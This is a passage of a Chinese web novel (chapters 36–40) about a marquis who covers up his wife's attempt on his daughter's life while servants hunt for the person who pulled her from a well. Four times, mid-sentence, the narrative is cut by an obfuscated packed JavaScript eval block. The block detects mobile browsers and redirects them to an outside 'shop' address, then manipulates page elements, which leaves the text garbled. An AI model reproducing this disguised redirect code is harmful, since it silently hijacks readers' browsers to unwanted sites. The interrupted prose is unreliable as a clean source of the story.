顾世衡听得这出闹剧，气道：“一群蠢货！” 随即又问：“还有呢？” 顾安全是顾世倚重了几十年的老人，做事自然妥贴，便又道：“我后面叫人跳进井中查看一番，井中确实有落人的痕迹。只是，井壁光滑，只有一两处痕迹极浅的触碰痕印。” 顾世衡眉头皱起，没有说话。 顾安全继续不疾不徐道：“这便说明，那人很轻易便将大姑娘从井中拉出。在这期间，大姑娘亦是没有借助任何踏脚之处使力。单烟霞自已拉一个人上来，勉强也是可以的。只是必然十分费力，且被拉之人，中间必然要踩踏井壁借力。而如今井壁光滑，只有一两处轻微碰到的痕迹，便说明，被拉上去的过程很轻松。而烟霞一个人，绝无这般力气。 那晚救大姑娘出井的人，至少有两个。烟霞说那晚只有她一人，是在撒谎。” 36. 第 36 章 顾安全是顾世衡素来倚重的大管家。顾世衡离京几个月，瞧着是庄夫人主管家事，只桩桩件件都不曾离了顾安全的眼睛，非但将前因后果说得清清楚楚，便是庄夫人都不曾留意到的细节，也叫他查了出来。 顾世衡听得额头青筋直跳：“蠢妇，愚不可及！连这等要紧的事情，都能被人糊弄过去！” 他早就知道庄氏是个脑子不灵光的。 早先高家来求亲，他为稳妥起见，便应下了这门亲事。如此，将顾姝远远嫁出去，大家都安心。 偏庄氏这个眼皮子浅的，当下就觉得顾姝不得宠，没了前程，立时便对顾姝轻忽起来。 顾世衡那时便被这个蠢货气死。当众给她了好大没脸，总算叫她老实了几年。也算是把顾姝那丫头也哄住了，一门心思地要遵父母之命嫁到川西，没有半点怨言。 后来，庄氏吃了亏，总算长进了些，不敢再做夭。自已见她安份乖觉，且素日里逢迎照顾自己也算周到，便把顾姝母亲的嫁妆给她，算是些甜头。如此，她也可以应付庄家人，不再叫庄家那些事烦到他跟前。 如今高家起来了，虽说打发顾姝远嫁的主意不成了，可是瞧着，顾姝这些年颇为恭谨孝顺，母亲养她这么些年，总算没有白养。那由她嫁到高家，得这么有力的姻亲，也不是坏事。 谁成想，庄氏这个时候，却又来坏他的好事！ 若真是除掉顾姝，也就罢了。偏偏只坏了亲事，人又好好地留着！ 这个庄氏，果然就是小门小户出身，也就伺候人上有些眼色；于大事上，真是成事不足，败事有余。 顾世衡越想越气，这会子真是恨不得休掉这个废物。 他沉声道：“将烟霞还有帮手的事，透露给夫人知道。叫她继续查这背后之人。” 顾安全躬身应是。 顾世衡又道：“你也要查。夫人那边，只怕也查不出什么出来。若你有了线索，便透露给她知道，叫她去下手处置。” 顾安全应是，又迟疑道：“要不要，直接审问烟霞？” 顾世衡想了想，还是道：“先在私底下查罢。实在查不出来，再找个理由发作了烟霞，私下里审问。” 顾姝年岁已大，这么多年过去了，犯不着为了这个再伤和气。总归也闹不出什么大乱子。 顾安全再次应是。 顾世衡想了想，觉得再无遗漏，方长叹一声，靠在椅背上。差使完成的轻松，全然被家中这些糟心事淹没。 他不由抱怨：“这府中，怎么还会有人相助顾姝？这么些年，竟是一点端倪都没有看出来。我还以为……” 他当年将周氏的人手处置了，不过是预防万一，不叫有人在顾姝耳边乱嚼舌头罢了。至于顾姝，他还真没有将这个女儿放在眼里。 谁知道，周氏竟这般有心计，竟还在暗处藏了人。 这人，平日里若只是暗中照应些顾姝倒还罢了，他这些年毕竟不曾亏待过这个女儿。可若是这暗处之人，知道些什么…… 顾世衡拧紧眉头，问：“你觉得，这人会是谁？” 顾安全谨慎道：“以我之见，倒是两位姨娘的可能居多。” 这与顾世衡的猜想差不多。周氏留下的旧人，也就这两个妾室了。他心烦意乱地挥挥手：“你先去查罢！” 顾安全才退下，丫环又来报：“大姑娘求见。” 顾世衡脸上闪过一丝阴霾，随即肃了神色：“请大姑娘进来。” 顾姝一进得书房，见顾世衡的脸庞，立时眼圈便有些红了：“父亲，您辛苦了。女儿瞧着您，却是清减了许多。” 顾世衡这次出征北疆，差使自然是好差使，可是辛苦也着实是辛苦。率领大军来回奔波，焉有不瘦的道理。 只是顾世衡对顾姝这个女儿，着实没有什么情份，此时便是见她一脸关切，心底亦是不起一丝波澜。 但他习惯了掩饰自己的情绪，语气倒十分地和蔼：“无妨，本就是办差，也是难免。” 他话锋一转：“倒是家里的事情，我都知道了。姝儿，你受委屈了。” 顾姝心中便是只有五分的委屈，在父亲关心的语气之下，也成了十分。更何况她本就是险之又险方逃过一劫。 顾姝眼圈一红，几乎要流出泪来，只是不想在父亲面前失态，勉强克制住，吸了吸鼻子，道：“求父亲给女儿做主。” 顾世衡点点头，转而问她：“当日之事，究竟是怎么回事？你且与我说说。” 顾姝便将当日之事说了，却与顾安全回报给顾世衡的那些无甚出入。 顾世衡又问她：“所以，当日救你的，只有烟霞一人？” 顾姝想到陈姨娘的嘱咐，迟疑一瞬，终是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16981612|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点了点头：“是，只有烟霞一人。” 并非她不信父亲，只是，说出来陈姨娘，便要将这些年二人的来往尽数说清楚了。既已瞒了这么多年，实是犯不着今日将事情尽数说出。 顾世衡的眼神冷了下来，嘴上却依旧和煦：“烟霞这丫头不错，知道忠心护主。难得，难得。需得好生赏她。” “父亲说得是”，顾姝却未曾留意到顾侯的眼神，她想着当日之险，终于将心中的愤怒说了出来：“女儿实是不知哪里获罪夫人，以致于她叫人这般下手毒害女儿！” 顾世衡见顾姝此时竟还瞒着自己真相，已是不耐。他瞧着顾姝，淡淡道：“此事，你母亲已是先与我说了。她道自己实是不知情。想来是那高婆子跟烟云二人私下里行事罢了！” 这话听在顾姝耳朵里，不啻于晴天霹雳。 “父亲！”她简直不敢相信自已的耳朵：“高妈妈是夫人身边的近人，素日里与女儿并无恩怨，怎会对女儿下此毒手，定然是受人指使才有此行为……” 话未说完，却被顾世衡喝斥：“住口！” 他看着顾姝，神情冷漠：“你一个晚辈，无凭无据，竟如此揣测长辈！你的书都读到哪里去了？你为人子女的孝道呢？” 顾姝怔住。 什么叫无凭无据？庄夫人当着那许多人的面来寻她，阖府下人皆可为证。 便是不信她一人所言，随便讯问几个下人，便知当日之事究竟如何。事情明明白白摆在哪里，父亲为何还能说出“无凭无据”之语？ 顾世衡看着顾姝那酷似生母的脸庞，只觉满心不喜。况且，托赖庄氏的手笔，如今京中豪门皆是知道顾姝身患离魂之症，想为这个女儿再择个高门联姻，也已经不可能。 不过是如从前计划一样，找个外地的人家，将她打发出去而已。 既已是废棋，便无需再在她身上花费时间。 顾世衡叹了一口气，作出疲惫之色：“我知道你心中委屈。你母亲行事亦有不妥之处，我已经好处训斥过她。但说她害你，毕竟没有凭据，这样的胡话，休要再说。若让别人听见，也只是道你不知礼数，没有孝义。继而说咱们顾家门风不正，不孝不慈。” “这事也算过去了，有我在，你母亲后面行事定然会谨慎小心。你也莫要再记恨。至于你的亲事，我会再为你择一佳婿。” 37. 第 37 章 明明白白是继母害自已性命，坏自已名声，毁自已婚约，然而在父亲口中竟只是下人作崇？ 且父亲话中的意思，就是这事就算过去了？ 顾姝再想不到，找父亲做主，竟然只得了这么个结果。 顾世衡却又道：“那个烟云的丫环，我自然将她处治。还有那高婆子，也会一并责罚。你放心就是。” 两个下人而已，无缘无故，若无人指使，她们哪里敢对顾姝动手。 顾姝不能接受这个结果。她亦不能相信，父亲竟如此罔顾事实，偏袒庄夫人。 只不待她开口再说，顾世衡已挥挥手：“你且退下罢。我乏了。” 顾姝急道：“父亲……” 事情不是这样子，父亲也不该如此颠倒黑白。 她想再分辩，顾世衡已是将脸沉了下来：“你退下罢。”声音严厉，不容违拗。 顾姝看着顾世衡的脸，他面上已不复往日的温和慈爱，反而是从未见过的不耐与厌烦。 可这不耐与厌烦却如此真实。 眼前的父亲，也叫她觉得极为陌生。 顾姝茫然行礼告退。 出了书房，她犹觉脑中一片浑噩。 顾姝不禁问一旁的烟霞：“烟霞，你方才，都听到了罢？” 方才烟霞就在书房外面侯着，想来是听到了书房中的对话。顾姝想知道，方才父亲说的那些话，究竟是真，还是假。 烟霞叹息：“姑娘……”声音里满是同情。 顾姝的声音显得有些飘忽，不知是喃喃自语，还是说给烟霞听：“那晚我坏了夫人的计谋，又将她糊弄过去了。虽是凶险，可我心里，还觉得自已挺聪明。甚至还想着，父亲回来之后，不但会替我做主，还会夸赞我厉害……” 她这两个月，一直避居在瑞萱堂，从不曾当面问过庄夫人此事，就是为了等父亲回来，求父亲给自已做主。 她信心满满，谁曾想就只是这么一个结果。 烟霞不知道该如何回答。 半晌，她只能回道：“姑娘，咱们回去罢……” 半轮月亮惨淡挂在天上，烟霞提着灯笼，将两人缓行的身影拉得极长。 顾姝忽然想起从前的疑惑：为什么庄夫人敢如此大胆，趁父亲不在的时候下手谋害于自已？难道庄夫人就不怕父亲回来追究么？ 如今，这一切的不角仿佛都有了答案。 顾侯回家第二日，顾姝落井一事，便是有了定论。 烟云伺候不周，一家子被发卖；高妈妈不敬大姑娘，打了四十板子。 高妈妈哼哼叽叽地趴在床上养伤。 外头还有两个婆子在小声聊天：“啧啧啧，可是惨呢！” “不错了。能落这么个下场，没有被赶出去，已是给了极大的体面了。” “不过，那天，到底是怎么回事？” “不是说是大姑娘有离魂症，不慎跌落井里么，还是烟霞发觉不对，将姑娘拉了上来。” “那不对啊，烟霞那小细胳膊，哪里有那力气，将大姑娘这么个人从井里拉出来？要说没有人帮她，我是不信的。” “这倒是。可烟霞说是就她自己，没有旁人。” “切，烟霞那小蹄子说瞎话，自己独占了这个功劳呗。且不说她，你可比烟霞壮实得多，你自己试试，从井里吊个人上来，自己一个人行不行？” “这倒是。我自己一个人打桶水还成，提个人，那是定然不行的。只是谁帮了烟霞？怎么也不说一声？” “那谁知道，保不齐心里有鬼呢！” 两个婆子絮絮叨叨闲扯着，高妈妈却是打了个激灵：没错。烟霞一个人，哪里能将顾姝从井里提上来。定然有人帮她！这个人是谁？为何烟霞不肯将这个人说出来？ 如今夫人嫌弃自己办事不利，自己须得再在夫人跟前显露下本事才成。 “来人，来人！”高妈妈嘶嚎起来，“我有要事要禀告夫人！” “什么？”庄夫人这一惊非同小可，“你是说，竟还有人暗中助顾姝？” “是啊，夫人”，高妈妈跪在地上，顾不得身上疼痛，道：“奴婢这两日无事，就回想那晚的事情，越想越不对劲儿。您想，烟霞那小蹄子，就一个人，哪里有本事将大姑娘一人拉上来。定是有人助她。可是既有人相助，为什么不说出来？这般藏着掖着，不是有鬼是什么？” 庄夫人不觉陷入沉吟。 原以为是顾姝这丫头运气好，恰好叫烟霞遇上了，方能得以逃脱。 可是要按 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985043|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高妈妈这话，顾姝这背后，竟是有人相助。否则，何以不光明正大说出来，偏只提烟霞一个？ 真是想不到，顾姝这死丫头，不声不响，心里竟还如此能藏得住事。 只那个暗中相助顾姝的人会是谁？顾姝，又为何不说出来，要替那人遮掩？这人一日找不出来，庄夫人便一日不得安寝。 庄夫人看着高妈妈，冷冷道：“你去将这个背后之人找出来。若是这回差事再办坏了，我也留不得你了！” 高妈妈重重磕头：“夫人放心，奴婢一定将这个人揪出来！” “侯爷如今正为高家的婚事没了恼我。你小心些，莫要闹出大动静出来。” “是，奴婢省得。” 高妈妈这回十分上心，不过两日，便将府中下人筛了一遍，跟庄夫人回话：“府里各处杂役、护卫，共计一百三十二人。一小半是府中家生子，其余皆是后头陆续买进府的。先头周夫人倒是带来些过人，本有四家陪房，四个丫环，六个外院仆役，后来皆是慢慢出府了。大姑娘的奶娘在老夫人过世后，也荣养了……” 庄夫人点点头：“哪些人是周氏在的时候进府的，可有查过？” 高妈妈恭敬道：“现在有七人。厨房里有两个，一个做点心，一个做菜的厨娘，倒是合侯爷的口味。另有五个粗使仆役。” 庄夫人皱眉：“就这么几个？” 高妈妈道：“我看了花名册，原不止这些的。只是后面先头那位不在了之后，打发出去许多。” 庄夫人冷笑道：“难保没有漏网之鱼呢。再去好好查查这几个人。” 高妈妈应是。 庄夫人又问：“陈氏与白氏那几日的动向可查清楚了？” 高妈妈道：“查过了，陈氏那天去了园子里，白氏不曾出过院子。” 庄夫人咬着牙道：“将陈氏给我叫来！” 陈姨娘很快被传来。她初时神情还很自然，待见到面色铁青的庄夫人，不由也敛了神色，恭恭敬敬行了礼：“见过夫人。” 庄夫人冷冷扫了她一眼，没有说话。 高妈妈上前一步道：“姨娘有礼了。夫人有事要问你。初七那日晚上，姨娘都做了些什么？” 初七，正是顾姝被高妈妈推下井的那日。 38. 第 38 章 这事，不是已经有了定论了么？怎么忽然又重新提起来了？ 陈姨娘心里一紧，只是面上却是茫然。 她道：“初七，那日我就在自己屋子里啊？”她露出一点恰到好处的紧张，又补了一句：“并不曾做什么。” 高妈妈面沉如水：“姨娘，对着夫人，劝你还是说实话的好。” 说罢，稍稍提高了声音：“来人！” 外头便进来了两个婆子，手持长棍。 这几个婆子都是庄夫人正院里伺候的婆子，平日里跟陈姨娘可没有什么交情。 陈姨娘登时面色煞白，瘫软在地，连声道：“夫人恕罪，容妾想一想。” 她犹豫了一会儿，才吱吱唔唔道：“初七那日晚上，我因无事，先是去园子里逛了一圈，又回了自个院子。旁的，就再没有了。” 高妈妈板着脸道：“黑灯瞎火的，无缘无故你去园子里逛什么？都遇到了谁？” 陈姨娘吞吞吐吐道：“倒也没什么，就是跟园子里几个婆子一起说说话消遣罢了……” 高妈妈接着追问她都有哪些人，陈姨娘不得已，便说了几个人的名字出来。 见她都答了上来，庄夫人这才叫陈姨娘回去。 又派了高妈妈去暗中询问那几人，却是与陈姨娘说的一样。唯一不同的是，其中有个姓樊的粗使婆子有心讨好高妈妈，便悄悄向她透了底：“她们几个，平日里惯在在一起吃酒赌钱的！也就那日，因着下雪，嫌冷，才不曾开局。” 高妈妈不由皱起眉头，斜睨她一眼：“你这老货，还在我面前弄鬼。这里头也没少了你罢！” 那樊婆子肩膀一缩，讪讪不敢说话。 高妈妈却又一笑：“罢了，从前的事不说。以后若再有这事，只管悄悄报我便是。我定会在夫人面前记你一功。” 樊婆婆子喜得脸都开了花：“多谢高管事提携，您老放心，您要打听什么消息，包在我老婆子身上！” 高妈妈又好声抚慰了她几句，便又寻了其他人问话。 那樊婆子则是拍了高妈妈一通马屁，这才高高兴兴地回了园子。 只到了无人之处，樊妈妈的脸便沉了下来。本以为此事已了，不想夫人竟又追究起当晚救人之事来。这回，却是要如何应付？ “此事是我考虑不周了”。 夜半，兰葶院的耳房里，顾姝面有愧色，道，“只想着不将你们说出来，却是未曾想到过，以烟霞一人的力气，拉我上来，却是不太可能。” 陈姨娘忙道：“莫说你了，我们不也没有想到么？” 樊妈妈亦道：“是呢，大姑娘却不必自责。如今之计，是得想个法子将庄夫人应付过去才是。” 陈姨娘看了她一眼，没有说话。 这个细节，庄夫人先前不曾留意。怎么顾世衡一回来，庄夫人就发现这个疏漏了？ 她们要应付的，何止是庄夫人一个。 顾姝眉头皱了起来：“是。夫人若是寻不到此人，必然要问到烟霞头上，到时候，烟霞就危险了。” 烟霞这会儿却不在此处，她正在瑞萱堂门口守着，若看门的姚婆子醒来，她也可应付一二。 樊妈妈亦是眉头紧锁。 顾姝喃喃道：“只是，却要哪里找出个人来，既叫庄夫人相信是她助了我……”却又不能牵连无辜。 思索半天，终是想不出什么好法子，顾姝抿抿嘴唇，下了决心：“妈妈，实在不行，明日便叫烟霞出府去罢，莫要再回来了，回头我再求父亲，要了她的身契。总之，不能叫烟霞落到夫人手里。” 樊妈妈却是道：“大姑娘，其实，兴许，还真能找到这么个人……” …… 花园里。 安婆子看着樊婆子，勉强挤出个笑：“老樊，怎么这会子过来了？你差使做完了？” 樊婆子面露关心：“我这两日总瞧见周管事来园子里，可是又来寻你的？” 安婆子神情萎靡，没有答话。 樊婆子便又试探道：“你这阵子天天愁眉苦脸的，这是怎么了？有什么事，不如说出来，我帮你参详参详？” 安婆子自已也是实在没有办法了，终是叹了一口气，将事情原委说了出来。 原来，安婆子有个女儿，嫁给府里外面铺子里的一个伙计，生了两个儿子，日子过得还算不错。只那女婿运道不好，几个月前害病死了。 那周管事不知道哪里听说了这个事情，知道安婆子心疼女儿日子不好过，到处借钱贴补女儿，便主动上门来，拿了十两银子给安婆子，说是借给她的。 安婆子只当她是好心，千恩万谢地拿了银子给了自家女儿。谁料过了几日，那周管事竟然提了个条件：她有个小儿子，脱籍出去，在外头做事。成亲十多年，如今还只有三个女儿，没有生一个儿子。因着安婆子的女儿好生养，便想典了安婆子的女儿去，给她家小儿子生个儿子。 安婆子说到这里，狠狠啐了一口：“我呸！都是奴才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989765|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秧子，她怎么就这么大的脸，敢叫我闺女替她生孙子！也不怕折了她的阳寿！” 若那周管事的儿子是个鳏夫，她们小老百姓，也不讲究那些，把闺女嫁过去做个填房，也是桩好亲。可那周老婆子，也太糟践人了，竟是想搞典妾生子这套，安婆子如何能忍！ 樊妈妈听得也是愤然：“这姓周的婆娘也是真敢想，还当她儿子是什么金镶玉不成？” “可不是”！安婆子憋屈了许久，当下又将周管事好一阵骂，这才道：“我自是不能答应。这老婆子便天天上门纠缠，还要我还钱。” 樊妈妈当即拍胸脯道：“罢了，咱们再没钱，也不能受她这个鸟气。我那里还有几两银子，先借给你支应两天，你且先把那婆子打发了再说。” 安婆子拍拍樊妈妈：“老姐姐，唉，多谢你了……”嘴上道谢，面上却不见多少喜意。 樊妈妈想了想，揣度着她的心意，推心置腹道：“唉，只还有一桩。还钱容易，我就怕，还了钱，这老婆子也不依，再找旁的事来拿捏你呢……” 安婆子的脸便垮了下来，终于吐了实话：“我如何没有想到呢。不然，早跟你开口借钱还她了。我不敢翻脸，就是怕她再生事。” 樊妈妈便笑了：“其实，我倒有个想头，就是不知道行不行。” 安婆子早被周管事逼得无法，听她这般说，急急问：“什么法子？” 樊婆子不说话，先转头看了下四周，这才神秘道：“我这也是才想到的。今儿个夫人身边的高管事，问我初七那几天，有谁来过园子里。方才听你说这事，我才记起来，那两天姓周的是不是天天来找你？” 安婆子皱眉想了想，不确定问：“初七，是大姑娘掉井里那日吧？” 樊妈妈点点头。 大姑娘掉井一事，在府中下人里早传遍了。 安婆子便道：“那没错。那两日，姓周的确实来了。” 樊婆子一拍大腿：“这不就结了。你直接找高管事去，将这事告诉她。她姓周的再厉害，还能厉害过夫人身边的人？” 安婆子一怔。 她盯着樊妈妈看了半晌，忽然笑了：“这是个好法子。我听你的。只是，这话要怎么说？” 樊妈妈看着安婆子，也是一笑：“还能怎么说？自然是实话实说。咱哪有那胆子骗高管事不是？只不过，有些个疑点，还是得跟高管事说清楚。咱们这些做粗活的，有些事也想不明白，只管说出来，叫上头的人去查便是。” 39. 第 39 章 “事情便是如此，是以周管事那阵子常来寻我，初七那天晚上，她也来了”，安婆子觑着高妈妈的脸，小心翼翼道，“只是呢，我也是有些地方想不明白。” 高妈妈阴着脸，道：“莫要废话，你觉着哪里不对，直管说便是。” 安婆子这才道：“这周管事有两个儿子，她家老大也生了两个儿子。若罗家老二没儿子，将老大家的孩子过继一个便是。再者，她从前还曾说过，她家小儿媳是靠着先头夫人的情份才说来的，她平日里是最疼小儿媳妇的。 她家老二没有儿子都十几年了，怎么先前年富力壮的时候不提，反倒老了，才忽然想着要生儿子了？且条件又这般苛刻，周管事这么精明的人，怎么做出这么蠢的事情来？” 高妈妈没有理会她的絮叨，反而一下子抓住那句话：“周娘子说她小儿媳妇是先头夫人的情面，是怎么回事？你这话可当真？” 安婆子连连摆手：“哎呀，这都多少年的事了，也是无意中听她说了这么一句。也记不大清，哪里敢当真。许是我听错了也不一定。咱只是跟您回话，却不敢拿没凭没据的话糊弄您高管事。” 却是再不敢承认这话了。 安婆子不敢承认，高妈妈心里却更是笃定了几分。 她这两日为着那背后之人的事情，忙得焦头烂额。 本想着陈白两位姨娘嫌疑最大，谁曾想这两位的去向都说得明明白白。查问了当日下人，也是分毫不差，并没有什么问题。却是没有想到，能从安婆子嘴里问出周娘子这么号人物出来。 庄夫人也曾借着问话的名义问了一回烟霞，只那丫头嘴硬，硬是死撑着不肯吐口。这回问出了周管事，再把烟霞那丫头叫来，若她再不吐口，那就上刑，看她还敢嘴硬不。 高妈妈心里有了数，又问了几句，这才去跟庄夫人回了话。 庄夫人这回再不迟疑，当即又叫人将烟霞唤了过来。 这回唤烟霞过来，庄夫人可谓名正言顺。因着顾姝这两日病了，正好问责烟霞的伺候不周之罪。 待烟霞进了内室，就见高妈妈并另外两个婆子，握着板子，对她虎视眈眈。 烟霞不由打了个激灵。 高妈妈冷笑道：“好你个烟霞，还当你是个好的，不想你竟也偷奸耍滑，好好儿的，你们大姑娘怎么就又病起来了？定是你这个小蹄子不曾尽心伺候！” 烟霞在肚子里暗啐了一口。这老虔婆，自己将大姑娘推到井里去，今日竟还有脸这样说她。 只是人在屋檐下，烟霞也只能叫屈，道自己不曾偷懒懈怠。 高妈妈冷笑：“凭你怎么狡辩，你伺候大姑娘不力，害大姑娘生病这事是真真儿的。报到侯爷那里，五十板子是少不了的！” 烟霞大骇，当即跪下来告罪求饶。 高妈妈却是话锋一转：“只是，我如今给你个将功折罪的机会。你只需老老实实说出，那日晚上，是谁跟你一起，将大姑娘从井里拉出来的，便饶你这一回。” 烟霞当即便矢口否认：“那天晚上，是我自己将姑娘拖出来的，不曾有旁人。” 高妈妈早恨透了烟霞。若非这小蹄子多事，害了夫人的谋算，自己怎么会被侯爷罚板子，又失了夫人的欢心？ 她脸一板，当即便道：“这小蹄子还不老实，给我打！” 两个婆子，一人上前钳住烟霞，另一人则当即举起板子，劈头盖脸便往烟霞身上打。烟霞本还想顶住，只是挨了两下便受不住了，哭着大叫：“妈妈饶命，我说，我说！” 高妈妈“哼”了一声，这才叫婆子住手。 烟霞流泪道：“那天晚上，我本是一个人的，只是我力气小，实在是拉不动大姑娘。恰好遇上周管事路过，周管事便帮我一起把姑娘拉了上来。” 高妈妈终于问到人，心里不由一松，只是面上依旧冷厉，道：“那为何后来问你，你不说，反而咬死只有你一个人？” 烟霞流泪道：“是周管事说的。她说虽则帮了我们这一回，只是却不想掺合进大姑娘跟夫人的是非中，怕后头被夫人怪罪。故而不要婢子将她说出来。大姑娘感激她出手援助，是以便答应了她。” 这话说得极是合情合理。高妈妈心里终于是信了，冷笑一声：“我自会去查，若是叫我查出来你有欺瞒之处，小心你皮子！” 烟霞吓得跪地求饶：“决不敢再欺瞒妈妈，妈妈尽管去查！” 她又迟疑：“只是那日之事，并无旁人看到。周管事，只怕也未必承认。只是婢子真不曾撒谎。” 高妈妈不耐道：“还用得着你说，我自会去查。” 烟霞这才抹着眼泪起身。 高妈妈将烟霞打发回去，庄夫人这才从帐后出来，面色阴沉。 高妈妈陪笑道：“夫人，您瞧这丫头的话？” 庄夫人扫了她一眼，道：“我再给你次机会，将这姓周的，还有她男人罗四有，好生查一查。若是再有纰漏，我可再保不得你！” 高妈妈打了个寒噤，忙打包票：“夫人，这事包在老奴身上，定不再叫夫人失望。” 再说回兰葶院里，因着前次才被庄夫人审问过，陈姨娘这段时日行事分外小心，莫说瑞萱堂，便是园子里也不大去了。 只是听说顾姝这两日又病了，庄夫人道是瑞萱堂的丫头伺候不周，又派了个丫环过去。 陈姨娘实是担心顾姝，思前想后，终是又去了瑞萱堂。 一进东厢房，她便大大咧咧地笑着打招呼：“大姑娘，听说你病了，我过来瞧瞧你。” 顾姝面色泛黄，瞧着便没有甚么精神。 此番生病，与其说是身病，不如说是心病。她被庄夫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995632|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出手暗害，又被毁了婚事，实是满心期待，本指望父亲回来，他能给自已主持正义。不想顾侯回来之后，却是丝毫不追究庄夫人之责，只将罪责推给烟云。便是高妈妈，也不过是一顿板子完事，之后依旧是在府中颐指气使。 原本与庄夫人相持数月，她的精神便极是紧绷，不想回来之后竟是如此结果。 心力交瘁之下，终是又病了一场。 休养了几日，这两天已是好些，只还是没有什么精神。 她起身迎接陈姨娘，勉强笑了笑：“姨娘有心了。” 陈姨娘心里便叹了口气，面上却是笑道：“姑娘瞧着是快好了。要我说，这人啊，只要放宽心，吃好喝好，便无甚大事。” 说罢，轻轻拍了顾姝的手。 顾姝眼睛一酸，险些落下泪来。 这时，一个丫头端了茶过来，笑道：“姨娘喝茶。” 说罢，垂手立在一旁。只是人立在一边，可那双眼睛却不老实，滴溜溜地直往陈姨娘身上扫。 想来这便是庄夫人新指派的丫头了。 倒是有几分眼熟，料是先前在正院里见过。 陈姨娘接过茶，笑道：“谢谢姑娘。不知道姑娘怎么称呼？” 不待那丫头说话，顾姝已收敛了情绪，冷冷道：“她叫烟云。” 陈姨娘一怔，重去打量那丫环。却见那丫头毫无异色，反而气定神闲。 给这新来的丫头起这个名字，这行径可真是既歹毒又下作。 陈姨娘深吸了一口气，笑道：“好好，走了一个烟云，又来一个，恰好顶上。” 顾姝哼了一声，不再说话。 陈姨娘饮了茶，不过说些客套话，问顾姝病情如何。 顾姝似是心情不好，也无心应付她，态度很是冷淡。 顾姨娘便关心道：“姑娘瞧着像是好些了，只是脸色不大好，还是得将养两日才是。” 又道：“我看你发髻都乱了，拿个梳子抿一抿罢！” 说罢，起身去梳妆台，拿了梳子给顾姝理发。 顾姝也不以为意，随意拢了两下便将梳子还给了陈姨娘。 陈姨娘又细细替她梳了两下，见理顺了，这才将梳子放回妆匣，只是趁人不注意，却从妆匣里取了支金簪藏到了袖子里。 随即便要告辞。新烟云便笑道：“我送送姨娘。”说罢，随着陈姨娘一同出了厢房。 顾姝自是把陈姨娘那番举动看在眼里。 她忽然想起来，有回自已生病，陈姨娘来看自已，也是做张做势，还喝了一碗银耳汤去。 当时自已只是觉得姨娘小心太过。可如今再看，却是又一番心境。 姨娘这般小心，究竟提防的是谁？ 顾姝只觉得眼眶一阵发热，她伸手擦了擦眼睛，不叫自已深想下去。 40. 第 40 章 瑞萱堂外。 新来的烟云送陈姨娘出了院子，见四下无人，方似笑非笑道：“姨娘，拿出来罢！” 陈姨娘一脸茫然：“烟云姑娘说什么呢，什么拿出来？” 烟云却不将她放在眼里，不屑道：“姨娘，姑娘的钏环样样皆是有数，少了哪一样，都得咱们赔。姨娘就莫要叫我为难了。” 陈姨娘在身上摸索了半天，却没有拿出那支金簪，反而摸出一个小银锞子，陪笑道：“好姑娘，姨娘这两日手头有些不趁，只是拿去支应两天。待过了这几日，就赎出来还你，保准不叫你为难。” 烟云掂掂那银锞子，不过一两重，当即嗤笑一声：“就这一两银子，姨娘是糊弄谁呢？” 陈姨娘没法，只得赌咒发誓：“烟云姑娘，当真不骗你，我就这么多了。过两日，过两日我将簪子卖了，咱俩一人一半。” 烟云这才满意，道：“姨娘可别想着糊弄我。这么一支镶珠赤金簪子，少说得四十两银子，我要二十两。” 陈姨娘当即急了，道：“那是新簪子的价格。你拿去当铺，谁肯按原价给你？” 两人争了半天，最后方约定分给烟云十五两银子。 这事自然要禀告庄夫人的，只是这新烟云却留了个心眼，只道陈姨娘不承认，自己一个初来乍到的丫环，却不好跟她相争。 庄夫人不以为意：“罢了，随她去。以后多留点心，别叫她跟大姑娘单独相处便是。” 总归顾世衡没再追究顾姝退婚之事，此事就算过去。如今，如何将顾姝背后之人找出来，才是庄夫人心中首要之事。 如今虽说问出了是周娘子，只庄夫人吃过一回亏，再不肯轻信，又叫了高妈妈过来：“你去查查那周婆子，那晚到底有没有去园子里。还有她家里，跟周氏是什么关系。烟霞那小蹄子的话，也未必就可信。” 